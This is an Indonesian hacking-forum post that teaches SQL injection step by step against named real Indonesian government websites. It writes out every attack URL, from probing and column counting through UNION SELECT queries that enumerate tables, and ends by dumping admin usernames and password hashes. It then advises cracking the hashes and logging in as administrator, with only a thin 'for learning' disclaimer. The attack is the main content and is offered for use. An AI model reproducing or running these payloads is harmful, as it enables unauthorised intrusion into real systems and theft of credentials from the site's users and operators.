dlu ada yg pernah request tutorial jebol2 site, sapa ya? ;p nah ni ane kasih dkit penjelasannya.. gw ambil dr tutor tmn ane di JS brotha p1t4qh ^ ^, tpi gw edit dkit targetnya, webnya jgn diacak2 ya klo dah pada bisa..yg ngacak2 gw acak2 lagi komp lu tar.. di siteny dah gw tanem logger klo da yg berani deface2.. ok kita langsung praktekin :
target kita adalah web yg memang memiliki vulnerability(baca:celah keamanan) yaitu SQL inject, SQL-i juga ada 2 metoda ada SQL-i biasa ada yg blind SQL-i..vulner di web juga ga hanya SQL-i aja, tapi ada macem2,antara lain : LFI(Local File Inclusion), RFI(Remote File Inclusion), RCE(Remote Command Execuiton), sama XSS (Cross Site Script) bukan CSSjadinya ya..klo ntu ma buat style2 html
SQL(Structured Query Language): cari di mbah google aja ya klo masih bngung itu apaan..
ok sblum gw masuk ke langkah2 SQL-i ada beberapa yg perlu diperhatikan dr seorang hacker2 lamers yg kerjanya deface2, mereka bukan mencari target tapi mencari vulner.. coba si hacker yg sering deface2 itu gw sruh jebol situs FBI, gw jamin dia geleng2 karna dia cm tau vulner tertentu, udah pasti site2 FBI keq gtu mana ada vulner SQL-injectnya, karena ini vulner dan teknik lama. meskipun teknik jadul tp hacker2 harus tau teknik ini..
kalau tadi saya suruh si hacker jebol sebuah site sekarang saya suruh dia jebol site apapun sebanyak mungkin..dan pastinya dia bisa lakuin bermodal vulner yg dia tau tadi(misal SQL-i), jadi sebenarnya ada perbedaan antara hacker lamers yg tidak beretika dan hacker proffesional yg sangat beretika, semakin menakutkan seorang hacker dilihat dari kemampuan ia mengenal vulner dan memanfaatkannya ^ ^
ok kita bahas vulner legendaris yg satu ini
Berikut ini akan disajikan langkah demi langkah SQL Injection yang diimplementasikan pada web
http://www.bandung.go.id. nah loh...website pemerintah kota bandung booo...disini ternyata ada vulner SQL-i nyaTutorial ini hanya untuk pembelajaran dan pengetahuan
(just to share) dan untuk para master yang telah berpengalaman dianjurkan memberikan masukan agar tekniknya menjadi lebih menarik. :mrgreen:
kunci dari exploitasi ini adalah kesabaran
Langkah-langkahnya sebagai berikut :
1. Lakukan pengecekan dengan memasukkan karakter tanda petik satu
single_quote ( ' ) dan mengujinya dengan operator logika ( AND ).
Code:
http://bandung.go.id/?fa=sitedownload.category&id=9'
Hasil Uji :
-Halaman akan menampilkan pesan error
Code:
Fatal error: Call to a member function RecordCount() on a non-object in /data1/web/public_html/site/download/qry_download_cat.php on line 6
Code:
http://bandung.go.id/?fa=sitedownload.category&id=9+and+1=1
http://bandung.go.id/?fa=sitedownload.category&id=9+and+1=6
Hasil Uji :
-Pada pengecekan
AND+1=1 yang dihasilkan adalah
TRUE, maka halaman akan tampil secara normal.
-Pada pengecekan
AND+1=6 hasilnya adalah
FALSE, halaman akan menampilkan pesan kesalahan (tidak berjalan normal), disini pagenya jadi kosong.
2. Memeriksa jumlah field dari suatu tabel. Perintah yang digunakan adalah
ORDER+BY+num, lakukan penambahan/increment pada variabel
num. Parameternya adalah jika field masih tersedia maka halaman akan berjalan normal, namun sebaliknya jika field tidak tersedia maka halaman akan menampilkan pesan error. Pada contoh kali ini ditemukan batas akhir field sampai pada angka 4.
Code:
http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870+order+by+4--
Mengapa ada tanda -- diakhir perintah? Tanda
-- adalah parameter komentar pada sintaks sql, bisa juga menggunakan
/*. Sesuai dengan fungsinya kita akan men-set komentar terhadap sintaks setelah klausa
WHERE. Kebetulan pada contoh kasus kali ini, setelah klausa
WHERE terdapat perintah sql yg lain entah itu
ORDER atau
LIMIT. Untuk itu digunakan parameter komentar agar perintah sql tersebut tidak dijalankan sehingga kita mendapatkan pesan error jika field yang di
ORDER tidak tersedia.
Coba bandingkan jika parameter komentar tidak digunakan, meskipun kita melakukan
ORDER BY 1 dan
ORDER BY 100 halaman akan tetap menampilkan pesan error. Kalau kejadiannya seperti ini dari mana kita bisa mengetahui jumlah field yang di-
select??
3. Mengeluarkan nomor field untuk menampilkan informasi yang diinginkan. Perintah yang digunakan adalah
UNION+ALL+SELECT+no_field+no_field+....
Code:
http://bandung.go.id/?fa=sitedownload.category&id=null+union+select+1,2,3,4--
Pada contoh kali ini, variabel
id kita beri nilai
null agar angka-angka yang kita deklarasikan keluar, atau bisa juga menggunakan tanda minus (
id=-870). Dari angka-angka yang tercetak pada halaman web, kita akan mengeluarkan informasi dari versi mysql, nama database dan nama user.
Code:
http://bandung.go.id/?fa=sitedownload.category&id=null+union+select+1,concat_ws(0x2B,version(),database(),user()),3,4--
4. Selanjutnya kita akan mengeluarkan nama-nama tabel dengan perintah
UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(TA BLE_NAME)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TAB LE_SCHEMA=DATABASE(). Gunakan klausa
WHERE TABLE_SCHEMA=DATABASE(), agar tabel yang keluar adalah tabel dari database yang digunakan. Kalau Anda ingin melihat seluruh tabel dari seluruh database klausa
WHERE tidak perlu Anda gunakan.(catatan=INFORMATION_SCHEMA hanya untuk SQL ver 5 keatas, utk ver 4 query ini tidak akan bisa digunakan
Code:
http://bandung.go.id/?fa=sitedownload.category&id=null+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--
Pada perintah diatas, Anda dapat mengganti
concat_ws(0x2B,version(),database(),user()) dengan angka 2, jika Anda tidak ingin menampilkan informasi tentang versi mysql, nama database, dan nama user.
5. Nama tabel telah kita ketahui, selanjutnya kita akan mengeluarkan nama field dari tabel yang menyimpan UserID dan Password pengguna. Pada website ini nama tabel yang dimaksud adalah
tuser. Sintaks dasarnya adalah
UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(CO LUMN_NAME)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+T ABLE_NAME='NAMA_TABLE'. Jika terjadi error maka kita harus meng-konversi nama tabel ke bentuk hexadecimal_sql sehingga menjadi
0x7475736572
Code:
http://bandung.go.id/?fa=sitedownload.category&id=null+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x7475736572--
6. Langkah terakhir kita akan mengeluarkan record-record dari tabel
tuser. struktur perintahnya adalah
UNION+ALL+SELECT+no_field+no_field+CONCAT_WS(PEMIS AH_HEXA_SQL,NAMA_FIELD1,NAMA_FIELD2,....)+FROM+NAM A_TABLE. Kalau dijalankan pada contoh kasus kali ini menjadi :
Code:
http://bandung.go.id/?fa=sitedownload.category&id=null+union+select+1,concat_ws(0x3a,userid,pwd),3,4+from+tuser--
nahh.. keliatan kan username admin ama hash passwordnya.. sisanya tinggal ***** tu hash(decrypt), jenisnya harus tau dlu apakah md4,md5,sha1,dll. kadangkala ada pula yg ga dienkrip,ini fatal banget klo sampe ga dienkrip.
kalo udah dapet passwd trus ngapain?,ya tgl cari page admin nya..login trus terserah deh mau diapain,. dah jadi super admin ini^^ sory ga gw kasih tau pagenya dmn..just learning
Sampai disini selesai sudah penyajian penulis mengenai langkah demi langkah SQL Injection pada Web pemerintah kota bandung. saya tidak bertanggung jawab atas segala dampak negatif akibat penyalahgunaan artikel ini.. dan khusus web yg saya ambil sebagai sampel jgn pernah sekali2 coba deface, Mohon dikoreksi jika terdapat kekurangan ataupun kesalahan.
author1t4qh - jasakom mentor & write and edited by: bl00d13z a.k.a b1n4ry_g33k5/c0mrade - jasakom advisor
Share This Thread